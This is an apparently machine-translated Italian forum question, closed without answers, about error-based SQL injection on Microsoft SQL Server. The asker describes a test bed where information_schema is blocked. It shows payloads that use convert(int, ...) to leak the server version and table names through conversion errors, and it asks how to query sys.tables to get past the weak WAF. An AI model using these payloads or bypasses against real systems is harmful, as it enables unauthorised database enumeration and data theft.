Iniezione MSSQL converti errore di sintassi [chiuso]

1

Ho appena installato un banco di prova e ho disabilitato information_schema dall'accesso (un waf debole) e ho cercato di estrarre l'elenco delle tabelle dal database utilizzando convert per sputare un errore di conversione con le informazioni contenute. Per estrarre la versione usiamo la sintassi: + E + 1 = convert (int, @@ version) Il risultato sarà:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 R2 (SP2) Copyright (c) Microsoft Corporation Standard Edition Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.

Il risultato della query è ciò che è all'interno delle virgolette singole. Ora per ottenere la prima tabella dal database useremmo normalmente:

convert(int,(select+top+1+table_name+from+information_schema.tables))

Il che comporterebbe l'errore:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'tblDepartement' to data type int.

index.asp, line 30

Di nuovo con la risposta che si trova tra le due virgolette singole che è tblDepartement . Un modo alternativo per estrarre i nomi delle tabelle consiste nell'utilizzare queste due query seguenti:

(A):SELECT name FROM sys.tables

(B): select * from sys.tables . Se provo (A) con questa sintassi:

convert(int,(select name FROM sys.tables))

Ho ricevuto l'errore:

Error Executing Database Query.
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'from'. 

Se provo (B) con questa sintassi: %codice% Ottengo l'errore:

Error Executing Database Query.
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near '*'. 

Quindi la mia domanda è, come posso non usare information_schema e usare sys.tables invece all'interno della sintassi del convertito in modo da poter ottenere l'elenco delle tabelle dal database? Grazie.

    
posta sss 16.02.2014 - 15:46
fonte

0 risposte

Leggi altre domande sui tag